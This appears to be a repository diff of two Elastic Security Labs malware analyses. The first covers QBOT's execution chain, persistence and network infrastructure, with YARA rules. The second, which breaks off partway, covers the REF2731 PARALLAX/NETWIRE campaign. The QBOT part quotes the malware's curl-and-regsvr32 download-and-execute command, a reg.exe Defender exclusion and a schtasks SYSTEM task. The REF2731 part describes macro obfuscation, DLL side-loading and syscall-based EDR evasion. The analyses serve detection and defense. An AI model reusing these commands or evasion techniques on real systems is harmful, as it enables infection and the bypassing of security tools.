**"C:\Windows\System32\cmd.exe" /q /c echo 'Ft' && ping REDACTED[.]com && MD "\\vyr" && curl.exe -o \\vyr\v4QpQt.Nqv.e8xO https://REDACTED[.]net/t8EKnIB/C.png && echo "sxF" && ping REDACTED[.]com && regsvr32 "\\vyr\v4QpQt.Nqv.e8xO"**
|
||||
```
|
||||
|
||||
Note, that the domains in the initial execution appear to be adversary-controlled, not adversary-owned; because of this, we are redacting them from our reporting.
|
||||
|
||||
The initial execution command does the following:
|
||||
|
||||
- **C:\Windows\System32\cmd.exe** - this executes the Microsoft command interpreter
|
||||
- **/q** - this switch of **cmd.exe** is to suppress echo output
|
||||
- **/c** - this switch of **cmd.exe** is to pass a specific command string to the command interpreter
|
||||
- **echo ‘Ft’** - this prints **‘Ft’** to STDOUT
|
||||
- **&&** - if the preceding commands were successful, continue and run the next series of commands
|
||||
- **ping REDACTED[.]com** - this performs a network connection test to an external domain using the Ping command
|
||||
- **MD “\\vyr”** - this creates the **vyr** directory in the root directory ( \*\*C:\*\* )
|
||||
- **curl.exe** - this executes the data transfer tool, cURL
|
||||
- **-o \\vyr\v4QpQt.Nqv.e8xO `https://REDACTED[.]net/t8EKnIB/C.png`** - using the cURL tool, download and save the **C.png** file, from **REDACTED[.]net**, to the **vyr** directory with a filename of **v4QpQt.Nqv.e8xO**
|
||||
- **echo "sxF"** - this prints **“sxF”** to STDOUT
|
||||
- **regsvr32 "\\vyr\v4QpQt.Nqv.e8xO"** - uses the Microsoft Register Server ( **regsvr32** ) to execute **v4QpQt.Nqv.e8xO**
|
||||
|
||||
The infection was prevented by Elastic Endpoint Security, so while the customer was protected, it stopped our ability to monitor the next steps in the infection. To continue the analysis, we manually detonated the sample in our sandbox.
|
||||
|
||||
### Manually Advancing Execution
|
||||
|
||||
This manual detonation picked up where Elastic Endpoint Security stopped the initial execution outlined above.
|
||||
|
||||
To allow the infection to continue, the sample was downloaded to our victim machine and executed manually using the [Microsoft Register Server](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/regsvr32) ( **regsvr32.exe** ). The Register Server is a command-line utility to register and unregister DLLs (and other objects) in the Windows Registry.
|
||||
|
||||
```
|
||||
**regsvr32 -s c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a.dll**
|
||||
```
|
||||
|
||||
- **regsvr32** - this executes the Microsoft Register Server
|
||||
- **-s** - this suppresses messages boxes
|
||||
|
||||
Now that we have manually executed the Qbot DLL, we can track the execution chain, defense evasion, and persistence techniques using the Elastic Security Solution.
|
||||
|
||||
From within the Security Solution, we can expand the malware event generated by the Qbot DLL execution and explore the details. While we manually executed the malware and know much of this information, it is still helpful as an analyst when researching live malware events.
|
||||
|
||||

|
||||
|
||||
From here we can click on the “Analyze event” button to launch a timeline as a process tree that will show us how the malware progressed and additional contextually relevant information.
|
||||
|
||||

|
||||
|
||||
Now that we’re in the Analyzer view, we can continue to step through the QBOT DLL execution chain.
|
||||
|
||||

|
||||
|
||||
The Microsoft command interpreter was opened, and then the first **regsvr32.exe** process is started from **C:\Windows\System32\.** Next, a child **regsvr32.exe** process is spawned from **C:\Windows\SysWOW64\*\* with the same command-line arguments. The **SysWOW64\*\* folder stores system files used to execute 32-bit processes on a 64-bit Windows operating system. This is expected because the Qbot DLL is a 32-bit file.
|
||||
|
||||
Once the DLL is executed by **regsvr32.exe** , it injects itself into the Explorer process.
|
||||
|
||||
Next, an **explorer.exe** process is started then immediately self-injects shellcode. In addition to the shellcode injection, we can see 17 file events, 32 network-based events, and 16 registry events observed. We’ll explore those further in the research.
|
||||
|
||||

|
||||
|
||||
Before proceeding, QBOT performs a check to prevent execution on systems that are using the following default system languages:
|
||||
|
||||
- LANG_RUSSIAN (Russia)
|
||||
- LANG_BELARUSIAN (Belarus)
|
||||
- LANG_KAZAK (Kazakhstan)
|
||||
- LANG_ARMENIAN (Armenia)
|
||||
- LANG_GEORGIAN (Georgia)
|
||||
- LANG_UZBEK (Uzbekistan)
|
||||
- LANG_TAJIK (Tajikistan)
|
||||
- LANG_TURKMEN (Turkmenistan)
|
||||
- LANG_UKRAINIAN (Ukraine)
|
||||
- LANG_BOSNIAN (Bosnia)
|
||||
- LANG_KYRGYZ (Kyrgyzstan)
|
||||
|
||||

|
||||
|
||||
### Defense Evasion
|
||||
|
||||
Once the initial execution chain was completed, we observed attempts at defense evasion to protect the malware and frustrate adversary eviction.
|
||||
|
||||
As noted above, Elastic Endpoint Security observed 17 file events from the injected **explorer.exe**. One of the 17 events occurred when the DLL copied itself from its current path to **C:\Users\[REDACTED]\AppData\Roaming\Microsoft\Vybgeuye** and named itself **maonyo.dll**. The **maonyo.dll** file is the same file as the original Qbot DLL that was manually executed, verified by the SHA-256 hash.
|
||||
|
||||

|
||||
|
||||
This defense evasion tactic will allow the QBOT DLL to continue to be executed even if the original file is deleted.
|
||||
|
||||
In addition to creating the **maonyo.dll** file, static malware analysis identified a thread called “watchdog”. The watchdog thread monitors for security instrumentation tools that are stored in a list and compared to running processes.
|
||||
|
||||
Every second, the watchdog thread will check to see if any of the running processes matches anything on the list.
|
||||
|
||||
The processes that are monitored for are common security analysis tools.
|
||||
|
||||

|
||||
|
||||
If any of the monitored processes are observed by the malware, it will proceed with randomly generated IP addresses instead of the hard coded ones in the resources section. If a monitored process is detected, an entry is made to the Windows Registry and the malware does not attempt to connect to the actual network infrastructure.
|
||||
|
||||
Of note, the **qak_proxy** process identified in the monitored process list is unknown to us. It is possible that this is for an undisclosed security tool that monitors for QBOT network communications or when QBOT is acting as a proxy (which we did not observe with our sample), but that is speculative in nature.
|
||||
|
||||
The static analysis showed that the malware is able to detect running antivirus by checking the list of running processes against known vendors binaries. Depending on the antivirus processes detected, the malware has different behaviors - as an example, if Windows Defender is detected, it add its persistence folder to the Windows Defender exclusion path.
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
The **reg.exe** command does the following:
|
||||
|
||||
- **C:\Windows\system32\reg.exe** - Microsoft Registry editor
|
||||
- **ADD HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths** - folder location in the registry for Windows Defender exclusions
|
||||
- **/f** - adds the registry entry without prompting for confirmation
|
||||
- **/t REG_DWORD** - specifies the type for the registry entry
|
||||
- **/v C:\Users\[REDACTED]\AppData\Roaming\Microsoft\Vybgeuye** - specifies the name of the registry entry
|
||||
- **/d 0** - specifies the data for the new registry entry
|
||||
|
||||
### Persistence
|
||||
|
||||
After the **maonyo.dll** file is created at the random location, **C:\Users\[REDACTED]\AppData\Roaming\Microsoft\Vybgeuye\*\* (see the Defense Evasion section) in our example, the **HKEY_USERS\S-1-5-21-1047687853-4161697681-4019128061-1002\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\lnkotdhh** and **HKEY_CURRENT_USER\SOFTWARE\Microsoft\Maonyoeve** Windows Registry paths are created to execute the **maoyno.dll** file every time the user with the SID **S-1-5-21-1047687853-4161697681-4019128061-1002\*\* logs onto the infected host. This SID is for the user that we used when detonating the DLL.
|
||||
|
||||
> While we did not observe QBOT spreading to other users' SIDs in the Windows Registry during dynamic analysis, static analysis shows that this capability exists.
|
||||
|
||||
We were able to identify the registry path creations using Kibana (see below and in the Defense Evasion section), the security researchers over at Trustwave’s Spider Labs published some [great research](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/decrypting-qakbots-encrypted-registry-keys/) about how to find the location of the created QBOT DLL by decrypting binary data stored at **HKEY_CURRENT_USER\SOFTWARE\Microsoft\[random folder]**.
|
||||
|
||||

|
||||
|
||||
Using the [decryption tool](https://github.com/drole/qakbot-registry-decrypt) that Spider Labs released as part of their research, we were able to manually validate what we were seeing in Kibana.
|
||||
|
||||

|
||||
|
||||
### Privilege Escalation
|
||||
|
||||
The privilege escalation mechanism we observed was when the injected **explorer.exe** process spawns **schtasks.exe** and creates a new scheduled task to run as the SYSTEM user.
|
||||
|
||||

|
||||
|
||||
```
|
||||
**C:\Windows\system32\schtasks.exe, /Create, /RU, NT AUTHORITY\SYSTEM, /tn, ayttpnzc, /tr, regsvr32.exe -s "c:\Users\[REDACTED]\Desktop\7611346142\c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a.dll", /SC, ONCE, /Z, /ST, 15:21, /ET, 15:33**
|
||||
```
|
||||
|
||||
The initial **schtasks.exe** command does the following:
|
||||
|
||||
- **/Create** - creates a scheduled task
|
||||
- **/RU** **NT AUTHORITY\SYSTEM** - sets the username and escalates privilege as the **SYSTEM** user
|
||||
- **/tn ayttpnzc** - defines the task name
|
||||
- **/tr** **regsvr32.exe -s "c:\Users\[REDACTED]\Desktop\7611346142\c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a.dll** - specifies the task to run
|
||||
- **/sc ONCE** - specifies the schedule frequency - once
|
||||
- **/Z** - option that marks the task to be deleted after its execution
|
||||
- **/ST 15:21** - specifies the task start time (scheduled to start approximately 2-minutes after the scheduled task was created)
|
||||
- **/ET 15:33** - time to end the task if not completed
|
||||
|
||||
## Network Events
|
||||
|
||||
As we highlighted in the Preamble, there were 32 observed network events generated by the QBOT DLL. In addition to the 32 events that we observed from the execution, we also identified 106 additional hard-coded IP addresses through static analysis. This provided us with a total of 138 IP addresses from our Qbot sample.
|
||||
|
||||
Comparing the IP addresses against a corpus of malicious files, we identified 338 additional samples communicating with the same network infrastructure.
|
||||
|
||||

|
||||
|
||||
When looking at the distribution of network and malware data points, not all of the samples are related to QBOT. Most of the Win32DLL files are QBOT related, most of the Win32EXE files are associated with the [EMOTET malware family](https://malpedia.caad.fkie.fraunhofer.de/details/win.emotet), and the Microsoft Office samples are related to generic malspam attachments.
|
||||
|
||||

|
||||
|
||||
Furthermore, looking at the samples over time, we can see a change in how the network infrastructure was being used. On November 4, 2020, we see a change from predominantly EMOTET and generic samples to the first QBOT sample in our dataset on November 28, 2020. From there, Win32DLL files make up 97.1% of samples first observed after November 2020.
|
||||
|
||||

|
||||
|
||||
### Analyzing Network Events
|
||||
|
||||
When looking at the large number of IP addresses collected from both static and dynamic analysis, we wanted to put them into a data analysis platform so that we could visualize them geographically and identify the network owners.
|
||||
|
||||
To do this, we used the ipinfo.io CLI tool. You can [get an API key](https://ipinfo.io/signup) and download the [tool for free](https://github.com/ipinfo/cli).
|
||||
|
||||
To start, we collected our list of 138 IP addresses and then sent them through the ipinfo CLI tool as a bulk job, and output results as JSON into a file called **qbot.json**.
|
||||
|
||||
```
|
||||
$ ipinfo bulk > qbot.json
|
||||
** manual input mode **
|
||||
Enter all IPs, one per line:
|
||||
140.82.49.12
|
||||
144.202.2.175
|
||||
144.202.3.39
|
||||
149.28.238.199
|
||||
45.63.1.12
|
||||
45.76.167.26
|
||||
…truncated…
|
||||
{
|
||||
"140.82.49.12": {
|
||||
"ip": "140.82.49.12",
|
||||
"hostname": "140.82.49.12.vultrusercontent.com",
|
||||
"city": "San Jose",
|
||||
"region": "California",
|
||||
"country": "US",
|
||||
"country_name": "United States",
|
||||
"loc": "37.3394,-121.8950",
|
||||
"org": "AS20473 The Constant Company, LLC",
|
||||
"postal": "95103",
|
||||
"timezone": "America/Los_Angeles"
|
||||
},
|
||||
"144.202.2.175": {
|
||||
"ip": "144.202.2.175",
|
||||
"hostname": "144.202.2.175.vultrusercontent.com",
|
||||
"city": "New York City",
|
||||
"region": "New York",
|
||||
"country": "US",
|
||||
"country_name": "United States",
|
||||
"loc": "40.7143,-74.0060",
|
||||
"org": "AS20473 The Constant Company, LLC",
|
||||
"postal": "10004",
|
||||
"timezone": "America/New_York"
|
||||
},
|
||||
…truncated…
|
||||
```
|
||||
|
||||
Next, we need to change this into to a newline-delimited JSON (NDJSON) file so that we can quickly upload it into Elasticsearch for analysis. To do this, we can use the tool [Jquery](https://stedolan.github.io/jq/), a command-line JSON processor.
|
||||
|
||||
```
|
||||
$ cat qbot.json | jq -c '.[]' > qbot.ndjson
|
||||
|
||||
{"ip":"140.82.49.12","hostname":"140.82.49.12.vultrusercontent.com","city":"San Jose","region":"California","country":"US","country_name":"United States","loc":"37.3394,-121.8950","org":"AS20473 The Constant Company, LLC","postal":"95103","timezone":"America/Los_Angeles"}
|
||||
{"ip":"144.202.2.175","hostname":"144.202.2.175.vultrusercontent.com","city":"New York City","region":"New York","country":"US","country_name":"United States","loc":"40.7143,-74.0060","org":"AS20473 The Constant Company, LLC","postal":"10004","timezone":"America/New_York"}
|
||||
…truncated…
|
||||
```
|
||||
|
||||
Now that we have an NDJSON file, we can upload that into Elasticsearch through Kibana (or with Filebeat or the Elastic Agent). To do this, we’ll use the [Elastic Container Project](https://github.com/peasead/elastic-container) to spin up an entire Elastic Stack in Docker to do our analysis.
|
||||
|
||||
Once the containers have spun up, navigate to the Data Visualizer from within the Machine Learning menu. Select the NDJSON file that you created previously, and click the blue Import button.
|
||||
|
||||
Provide an index name and then click on the Advanced tab. Under the Mappings settings, change **loc** to **geo_point** and then click the blue Import button.
|
||||
|
||||

|
||||
|
||||
Now that we have the data loaded into Elasticsearch, you can do additional analysis, such as creating a [map visualization](https://www.elastic.co/guide/en/kibana/current/maps.html).
|
||||
|
||||
When looking at the distribution of network entities, we see them spread across the globe with most of them belonging to a variety of Internet service providers.
|
||||
|
||||

|
||||
|
||||
A caveat to the ISP-owned addresses, we did observe 7 IP addresses owned by Vultr. Vultr is a legitimate cloud hosting provider and is also a favorite among adversaries because of the ability to upload custom ISO files that allow for a protected command & control server.
|
||||
|
||||

|
||||
|
||||
## QBOT Configuration Extractor
|
||||
|
||||
Collecting elements of malware events is a valuable analysis skill that can assist in the identification of additional compromised hosts in a contested environment.
|
||||
|
||||
Elastic Security Labs has released an open source tool, under the Apache 2.0 license, that will allow for configurations to be extracted from QBOT samples. The tool can be downloaded [here](https://www.elastic.co/security-labs/qbot-configuration-extractor).
|
||||
|
||||
```
|
||||
$ qbot-config-extractor -f c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a
|
||||
|
||||
=== Strings ===
|
||||
# Blob address: 0x100840a0
|
||||
# Key address: 0x10084040
|
||||
[0x0]: ProgramData
|
||||
[0xc]: /t4
|
||||
[0x10]: EBBA
|
||||
[0x15]: netstat -nao
|
||||
[0x22]: jHxastDcds)oMc=jvh7wdUhxcsdt2
|
||||
[0x40]: schtasks.exe /Create /RU "NT AUTHORITY\SYSTEM" /SC ONSTART /TN %u /TR "%s" /NP /F
|
||||
|
||||
...truncated...
|
||||
|
||||
=== RESOURCE 1 ===
|
||||
Key: b'\\System32\\WindowsPowerShel1\\v1.0\\powershel1.exe'
|
||||
Type: DataType.DOMAINS
|
||||
41.228.22.180:443
|
||||
47.23.89.62:995
|
||||
176.67.56.94:443
|
||||
103.107.113.120:443
|
||||
148.64.96.100:443
|
||||
47.180.172.159:443
|
||||
181.118.183.98:443
|
||||
|
||||
...truncated...
|
||||
```
|
||||
|
||||
We have asked Vultr to review our QBOT research and take appropriate actions in accordance with their customer Use Policy, but have not received a response as of publication.
|
||||
|
||||
## Observed Adversary Tactics and Techniques
|
||||
|
||||
### Tactics
|
||||
|
||||
Using the MITRE ATT&CK® framework, tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.
|
||||
|
||||
- [Execution](https://attack.mitre.org/tactics/TA0002)
|
||||
- [Persistence](https://attack.mitre.org/tactics/TA0003)
|
||||
- [Privilege Escalation](https://attack.mitre.org/tactics/TA0004)
|
||||
- [Defense Evasion](https://attack.mitre.org/tactics/TA0005)
|
||||
- [Command and Control](https://attack.mitre.org/tactics/TA0011)
|
||||
|
||||
### Techniques / Sub Techniques
|
||||
|
||||
Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.
|
||||
|
||||
- [Command and Scripting Interpreter: Windows Command Shell](https://attack.mitre.org/techniques/T1059/003)
|
||||
- [Scheduled Task/Job: Scheduled Task](https://attack.mitre.org/techniques/T1053/005)
|
||||
- [Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder](https://attack.mitre.org/techniques/T1547/001)
|
||||
- [Valid Accounts: Default Accounts](https://attack.mitre.org/techniques/T1078/001)
|
||||
- [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)
|
||||
- [Application Layer Protocol: Web Protocols](https://attack.mitre.org/techniques/T1071/001)
|
||||
- [Indicator Removal on Host: File Deletion](https://attack.mitre.org/techniques/T1070/004)
|
||||
|
||||
## Detections
|
||||
|
||||
The following detection rules and behavior prevention events were observed throughout the analysis of the QBOT sample.
|
||||
|
||||
- [Suspicious Execution via Scheduled Task](https://www.elastic.co/guide/en/security/current/suspicious-execution-via-scheduled-task.html)
|
||||
- [Startup or Run Key Registry Modification](https://www.elastic.co/guide/en/security/current/startup-or-run-key-registry-modification.html)
|
||||
- Memory Threat Detection Alert: Shellcode Injection
|
||||
- Malicious Behavior Detection Alert: Suspicious String Value Written to Registry Run Key
|
||||
- Malicious Behavior Detection Alert: Suspicious Scheduled Task Creation
|
||||
|
||||
### YARA
|
||||
|
||||
Elastic Security has created YARA rules to identify this activity.
|
||||
|
||||
```
|
||||
rule Windows_Trojan_Qbot_1 {
|
||||
meta:
|
||||
author = "Elastic Security"
|
||||
creation_date = "2021-02-16"
|
||||
last_modified = "2021-08-23"
|
||||
os = "Windows"
|
||||
arch = "x86"
|
||||
category_type = "Trojan"
|
||||
family = "Qbot"
|
||||
threat_name = "Windows.Trojan.Qbot"
|
||||
reference_sample = "636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02"
|
||||
|
||||
strings:
|
||||
$a1 = { 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00 }
|
||||
$a2 = { FE 8A 14 06 88 50 FF 8A 54 BC 11 88 10 8A 54 BC 10 88 50 01 47 83 }
|
||||
condition:
|
||||
any of them
|
||||
}
|
||||
|
||||
rule Windows_Trojan_Qbot_2 {
|
||||
meta:
|
||||
author = "Elastic Security"
|
||||
creation_date = "2021-10-04"
|
||||
last_modified = "2022-01-13"
|
||||
os = "Windows"
|
||||
arch = "x86"
|
||||
category_type = "Trojan"
|
||||
family = "Qbot"
|
||||
threat_name = "Windows.Trojan.Qbot"
|
||||
reference_sample = "a2bacde7210d88675564106406d9c2f3b738e2b1993737cb8bf621b78a9ebf56"
|
||||
|
||||
strings:
|
||||
$a1 = "%u.%u.%u.%u.%u.%u.%04x" ascii fullword
|
||||
$a2 = "stager_1.dll" ascii fullword
|
||||
condition:
|
||||
all of them
|
||||
}
|
||||
|
||||
rule Windows_Trojan_Qbot_3 {
|
||||
meta:
|
||||
author = "Elastic Security"
|
||||
creation_date = "2022-03-07"
|
||||
last_modified = "2022-04-12"
|
||||
os = "Windows"
|
||||
arch = "x86"
|
||||
category_type = "Trojan"
|
||||
family = "Qbot"
|
||||
threat_name = "Windows.Trojan.Qbot"
|
||||
reference_sample = "0838cd11d6f504203ea98f78cac8f066eb2096a2af16d27fb9903484e7e6a689"
|
||||
|
||||
strings:
|
||||
$a1 = { 75 C9 8B 45 1C 89 45 A4 8B 45 18 89 45 A8 8B 45 14 89 45 AC 8B }
|
||||
$a2 = "\\stager_1.obf\\Benign\\mfc\\" wide
|
||||
condition:
|
||||
any of them
|
||||
}
|
||||
|
||||
rule Windows_Trojan_Qbot_4 {
|
||||
meta:
|
||||
author = "Elastic Security"
|
||||
creation_date = "2022-06-07"
|
||||
last_modified = "2022-07-18"
|
||||
os = "Windows"
|
||||
arch = "x86"
|
||||
category_type = "Trojan"
|
||||
family = "Qbot"
|
||||
threat_name = "Windows.Trojan.Qbot"
|
||||
reference_sample = "c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a"
|
||||
|
||||
strings:
|
||||
$a1 = "qbot" wide
|
||||
$a2 = "stager_1.obf\\Benign\\mfc" wide
|
||||
$a3 = "common.obf\\Benign\\mfc" wide
|
||||
$a4 = "%u;%u;%u;"
|
||||
$a5 = "%u.%u.%u.%u.%u.%u.%04x"
|
||||
$a6 = "%u&%s&%u"
|
||||
$get_string1 = { 33 D2 8B ?? 6A 5A 5? F7 ?? 8B ?? 08 8A 04 ?? 8B 55 ?? 8B ?? 10 3A 04 ?? }
|
||||
$get_string2 = { 33 D2 8B ?? F7 75 F4 8B 45 08 8A 04 02 32 04 ?? 88 04 ?? ?? 83 ?? 01 }
|
||||
$set_key = { 8D 87 00 04 00 00 50 56 E8 ?? ?? ?? ?? 59 8B D0 8B CE E8 }
|
||||
$do_computer_use_russian_like_keyboard = { B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D }
|
||||
$execute_each_tasks = { 8B 44 0E ?? 85 C0 74 ?? FF D0 EB ?? 6A 00 6A 00 6A 00 FF 74 0E ?? E8 ?? ?? ?? ?? 83 C4 10 }
|
||||
$generate_random_alpha_num_string = { 57 E8 ?? ?? ?? ?? 48 50 8D 85 ?? ?? ?? ?? 6A 00 50 E8 ?? ?? ?? ?? 8B 4D ?? 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C }
|
||||
$load_base64_dll_from_file_and_inject_into_targets = { 10 C7 45 F0 50 00 00 00 83 65 E8 00 83 7D F0 0B 73 08 8B 45 F0 89 }
|
||||
condition:
|
||||
6 of them
|
||||
}
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
The following were referenced throughout the above research:
|
||||
|
||||
- [https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/decrypting-qakbots-encrypted-registry-keys/](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/decrypting-qakbots-encrypted-registry-keys/)
|
||||
- [https://twitter.com/pr0xylife/status/1539601609730170882?s=20&t=G-XR7ibeOO0nWCWajKWTKw](https://twitter.com/pr0xylife/status/1539601609730170882?s=20&t=G-XR7ibeOO0nWCWajKWTKw)
|
||||
- [https://github.com/drole/qakbot-registry-decrypt](https://github.com/drole/qakbot-registry-decrypt)
|
||||
- [https://malpedia.caad.fkie.fraunhofer.de/details/win.emotet](https://malpedia.caad.fkie.fraunhofer.de/details/win.emotet)
|
||||
- [https://malpedia.caad.fkie.fraunhofer.de/details/win.qakbot](https://malpedia.caad.fkie.fraunhofer.de/details/win.qakbot)
|
||||
|
||||
## Artifacts
|
||||
|
||||
Artifacts are also available for [download](https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt84567d45657fe98d/62e16c9dd2f5267009ac072e/qbot-indicators.zip) in both ECS and STIX format in a combined zip bundle.
|
|
@ -0,0 +1,541 @@
|
|||
---
|
||||
title: "Exploring the REF2731 Intrusion Set"
|
||||
slug: "exploring-the-ref2731-intrusion-set"
|
||||
date: "2022-12-06"
|
||||
subtitle: "REF2731 intrusion set, campaigns, and malware observations"
|
||||
description: "The Elastic Security Labs team has been tracking REF2731, an 5-stage intrusion set involving the PARALLAX loader and the NETWIRE RAT."
|
||||
author:
|
||||
- slug: salim-bitam
|
||||
- slug: daniel-stepanic
|
||||
- slug: seth-goodwin
|
||||
- slug: andrew-pease
|
||||
image: "ref-intrusion.jpg"
|
||||
category:
|
||||
- slug: campaigns
|
||||
- slug: attack-pattern
|
||||
- slug: malware-analysis
|
||||
tags:
|
||||
- ref2731
|
||||
- parallax
|
||||
- netwire
|
||||
---
|
||||
|
||||
## Key Takeaways
|
||||
|
||||
- PARALLAX loader maldoc campaigns continue to have success delivering the NETWIRE RAT.
|
||||
- The PARALLAX loader leverages advanced features including DLL-side loading, syscall usage, process, and steganography.
|
||||
- Shared infrastructure can be used to stitch campaigns and intrusion sets together.
|
||||
|
||||
## Preamble
|
||||
|
||||
The Elastic Security Labs team has been tracking REF2731, an intrusion set involving the [PARALLAX loader](https://twitter.com/malwrhunterteam/status/1227196799997431809) which deploys the NETWIRE RAT. This activity has managed to stay under the radar with low detection rates and continues to incorporate interesting techniques such as DLL side-loading, syscall adoption, process injection, and leveraging steganography.
|
||||
|
||||
[PARALLAX](https://malpedia.caad.fkie.fraunhofer.de/details/win.parallax) is a full-featured modal backdoor and loader featuring defense evasion and information on stealing capabilities, first observed in 2020 and associated with COVID-19 malspam campaigns. [NETWIRE](https://malpedia.caad.fkie.fraunhofer.de/details/win.netwire) is a mature and cross-platform RAT that was first observed in 2012
|
||||
|
||||
In this research publication, we will go through the execution flow of one of the observed campaigns, the different features of the PARALLAX loader, technical analysis around the campaigns, campaign intersections, detection logic, and atomic indicators.
|
||||
|
||||
## Execution Flow (PARALLAX loader)
|
||||
|
||||
The Elastic Security Labs team has been monitoring multiple campaigns over the past year leveraging the [PARALLAX loader](https://blog.morphisec.com/parallax-rat-active-status). PARALLAX has multiple capabilities and use cases. This analysis observed the PARALLAX loader being used to load other remote access tools (the NETWIRE RAT). Using our PARALLAX payload extractor, we have also observed the PARALLAX loader being used to load the PARALLAX RAT for interactive remote access. These infections typically start through email spam campaigns delivering macro-enabled lure documents.
|
||||
|
||||
> On July 27, 2022, Microsoft began rolling out a [change to Office documents](https://learn.microsoft.com/en-us/deployoffice/security/internet-macros-blocked) that will prevent users from opening macros in files that came from the Internet, such as email attachments. We have not observed a change in TTPs based on this update from this intrusion set. Our sampling for this research of macro-enabled Word documents started in March of 2022 and continued through August 2022.
|
||||
|
||||
High-level summary of the execution flow:
|
||||
|
||||
1. An email is sent to a victim with a macro-enabled Microsoft Word document attachment.
|
||||
2. The macro downloads malicious files used for DLL-side loading and injection.
|
||||
3. The Microsoft developer tool ( **MsiDb.exe** ) sideloads the malicious ( **msi.dll** ).
|
||||
4. This malicious DLL drops and decrypts a WAV file ( **cs16.wav** ) before injecting the contents (shellcode) into **cmd.exe**.
|
||||
5. The injected shellcode is used to extract the NETWIRE RAT and set up the PARALLAX loader from a dropped image ( **paper.png** ) and inject into **cmd.exe.**
|
||||
6. A scheduled task is used to establish persistence for the PARALLAX RAT.
|
||||
7. The NETWIRE payload is then executed and sets up its own persistence mechanism.
|
||||
|
||||

|
||||
|
||||
### First Stage (lure/macro)
|
||||
|
||||
The first stage in these campaigns involves macro-enabled lure documents typically with themes around United States tax filings.
|
||||
|
||||

|
||||
|
||||
In this lure, we observed legitimate code lifted from the [GLPK](https://www.gnu.org/software/glpk/) (GNU Linear Programming Kit) used to bypass static analysis of the macro. The malicious code is then interwoven within the macro making it look very genuine and more deceptive.
|
||||
|
||||

|
||||
|
||||
This approach to obfuscation is also observed when critical components used for the next stage are not stored in the macro itself but called from text buried several pages deep within the lure document.
|
||||
|
||||

|
||||
|
||||
The macro parses the embedded paragraph text on page three of the lure document and locates the object names and next stage components based on their string length. This is a clever technique to avoid detection based on static analysis of the macro (green text comments added to the images below by ESL for clarity).
|
||||
|
||||

|
||||
|
||||
The macro then uses the **CreateObject** function to create the required objects and download each of the malware components, saving them to the **AppData** directory of the current user.
|
||||
|
||||

|
||||
|
||||
It then executes **AppData\MsiDb.exe** through the created **wscript.shell** object.
|
||||
|
||||
For this observed lure, the five components that are downloaded for the next stage as identified in the embedded text image above are:
|
||||
|
||||
| Filename | Description |
|
||||
| --------- | ------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| MsiDb.exe | Legitimate Microsoft development application used to import/export database tables and streams |
|
||||
| msi.dll | Malicious DLL used for side-loading |
|
||||
| cs16.wav | XOR encrypted shellcode |
|
||||
| paper.png | Obfuscated NETWIRE and additional PARALLAX loader stager |
|
||||
| cs16.cfg | Configuration containing the location of the next execution stage png file, it can either be local or hosted in a remote server |
|
||||
|
||||
### Second Stage (MsiDb.exe)
|
||||
|
||||
One of the key strengths in these campaigns is its ability to bypass static detection by modifying legitimate DLLs, a common trend previously reported with the BLISTER loader analysis [[1](https://www.elastic.co/security-labs/blister-loader), [2](https://www.elastic.co/security-labs/elastic-security-uncovers-blister-malware-campaign)]. Once all the components are retrieved, the macro executes the signed Microsoft development tool ( **MsiDb.exe** ) to load the previously downloaded malicious library ( **msi.dll** ).
|
||||
|
||||
When the campaign began in September of 2022, this DLL had zero detections in VirusTotal due to its DLL tampering technique where a slight modification of a benign function is overwritten with the second stage.
|
||||
|
||||

|
||||
|
||||
When ( **MsiDb.exe** ) sideloads the malicious ( **msi.dll** ) module, we can see the difference between the patched and unpatched version of **msi.dll**.
|
||||
|
||||

|
||||
|
||||
During this loading stage, the malicious code is heavily obfuscated and leverages [dynamic API resolution](https://unprotect.it/technique/api-obfuscation/) to bypass static analysis tools and processes. It performs this using two functions:
|
||||
|
||||
- One function is used to retrieve library addresses using the CRC32 checksum hash of the requested library name.
|
||||
- Another function is used to take the address of the library and the hash of the API name.
|
||||
|
||||

|
||||
|
||||
The malware then builds its own import table, storing it on the stack. An interesting aspect is that the malicious code performs an anti-analysis check to see if the current process name matches the targeted application ( **MsiDb.exe** ), if it doesn’t match, the malware will stop at this stage. This check will hinder automated dynamic analysis systems that might try to analyze **msi.dll** in isolation by executing it with other common applications such as **rundll32.exe** or **regsvr32.exe**.
|
||||
|
||||
Next, the malware will load **cs16.wav** and XOR-decrypt it using a key embedded in the file. The key resides in the 200 bytes following the first 4 bytes of the file (bytes 5-204).
|
||||
|
||||
The malware will then execute the shellcode inside the decrypted WAV file.
|
||||
|
||||
### Third Stage (shellcode)
|
||||
|
||||
To evade user mode hooks utilized by EDR/AV products and as debugger breakpoints, the malware uses direct system calls to low-level APIs used for process injection. It performs this by first [mapping a file view](https://learn.microsoft.com/en-us/windows/win32/memory/file-mapping) of the Windows **ntdll.dll** library from the System directory.
|
||||
|
||||

|
||||
|
||||
It then retrieves the API offset by subtracting the API address from the loaded base address of the loaded **ntdll.dll** , then finally it will use the offset from the mapped **ntdll.dll** and extract the syscall number.
|
||||
|
||||

|
||||
|
||||
